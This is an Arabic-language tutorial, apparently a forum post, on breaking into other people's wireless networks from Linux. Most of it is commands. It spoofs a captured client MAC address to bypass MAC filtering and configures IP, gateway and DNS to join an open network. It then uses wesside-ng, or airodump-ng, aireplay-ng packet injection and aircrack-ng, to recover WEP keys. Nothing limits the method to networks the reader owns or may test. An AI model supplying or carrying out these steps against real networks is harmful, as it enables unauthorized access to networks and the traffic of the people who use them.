شرح كامل للاختراق شبكات الوايرلس باستخدام لينكس

[khalil cool]

مفاتيح الرائيسيه :-
برامج :-
aricrack-ng
kismet
optional programs
dnsiff
ettecap
ehterape
wireshark
انواع الشبكات وطرق الحماية المستعمله
filter mac
or wep encrypt
وهناك شبكات تستعمل انظمه اخري يتطلب الامر الصبر معها والمعرفه
-------------------------------------------------------------------------------------------
شرح التركيب البرامج سوف يكون على الابونتو لانها الاكثر شعبيه انا استعمل سلاكوير
تركيب الحزم
apt-get install kismet
apt-get install aircrack-ng
---------------------------------------
اما بانسبه لباقي البرامج يمكن تركيبها بنفس الطريقه فقط ضع اسمها
--------------------------------------------------------------------------------------------
لتشغيل kismet
يلزم تعديل الملف kismet.conf
الذي موجود في مسار
/etc/kismet/kismet.conf
واضافة اسم المستخدم
suiduser=your_user_name_here
لكن لا تستعمل root في هذا المكان
ثم قم تشغيل برنامج airmon-ng
ستكون هناك مخرجات كتالي
bash-3.1# airmon-ng





Interface Chipset Driver

wlan0 ZyDAS 1211 zd1211rw
هذه مخرجات من جهازي انا الشرح
wlan0 اسم كرت الشبكه لدي
ZyDAS نوع الرقائق الموجود في الكرت
zd1211 التعريف المثبته من اجل الكرت
جميع البرامج يجب تشغيلها من الطرفيها ويجب كتابة امر sudo قبل تشغيل اي برنامج
تشغيل برنامج kismet
اول يجب ان تعرف انkismet برنامجين منفصلين
kismet_server and kismet_client
kismet_server هو الذي يتعمل مع الكرت مباشرة في وضع monitor
اما الاخري فهو يعرض لك المخرجاب بشكل منطم
اذ تشغيل الان kismet_server -n -c zd1211,wlan0,ZyDAS
ملاحظه يجب مراعات الحرف الكبير وصغيره وهناك اشياء تهمل مثل zd1211rw
نكتب فقط zd1211 ونوع الرقائق نكتب اسم المصنع ققط
بعد التشغيل البرنامج الاول قم فتح طرفيه جديده واكتب فيه
kismet_client فقط
ماوظيفة هذا البرنامج :-
انه يقوم بجمع mac for clients on ap
ويعني الحصول على الماك وهذا لامر مفيد لتخطي الماك فلتر
طبعا لتغير الماك على كرتك الا ن نتحدث عن شبكات غير مشفره
اذهب للطرفيه الاول التي فيها kismet_server
واضغط على ctrl+z
وقم بكتابة الاوامر التاليه ولاتنس كتابة sudo قبل كل امر من الاوامر التاليه
ifconfig wlan0 down hw ether mac client
ثم قم ارجع البرنامج kismet_client
وتفصح ارقام الابي التي ظهرت معك بحيث تعرف المدي على سبل المثال
10.23.34.18
ويعني ان تربط على هذا الابي على نفس المدي
ifconfig wlan0 10.23.34.xx
اي رقم في بلك
ثم حاول ان تكتشف gateway
على سبيل المثال
ping 10.23.34.1
فأذا استجابت لك فهذا يعني ان تقوم بتنفيذ الامر التالي
route add default gw 10.23.34.1
وماذا عن dns
لا مشكله استعمل اي سرفر تعرفها على سبيل المثال ان استعمل open dns
nameserver 208.67.220.220
nameserver 208.67.222.222
قم بتكوين ملف عن طريق استعمال
gedit /etc/resolv.conf
وكاتب فيه السطرين الاتي في الاعلي
----------------------------------------------------
نفذ الامر dig
اذا حصلت على الاستجابه هذا يعني انك حصلت على اتصال كامل مع شبكه
---------------------------------------------------------------------------------------------
ماذا عن الشبكات المشفره
قم بتنفيذ الامر التالي
arimon-ng start wlan0
wesside-ng -v mac of encrypt ap -k 0 -i mon0
ونتظر بعض الوقت سوف يعطيك المفتاح
هذا برنامج ممكن لا يتفر في حزمه الخاصه بالابونتو قم تحميله من الموقع الرسمي
او استعمل الامر
airodump-ng --bssid mac of ap -c channel -w output file -i mon0
واستعمل برنامج
aireplay-ng
لتحفيز سرعة الالتقاط البيانات
بعد حصول على 5000 data
قم باستعمال برنامج التالي
aircrack-ng outfile1-0.pcap
وهذ ه لسيت الطريقه الوحيد لكن هي ابسط ما يمكن ان اشرحه وفي حالة عدم فهم اي شياء انا مستعد للمساعده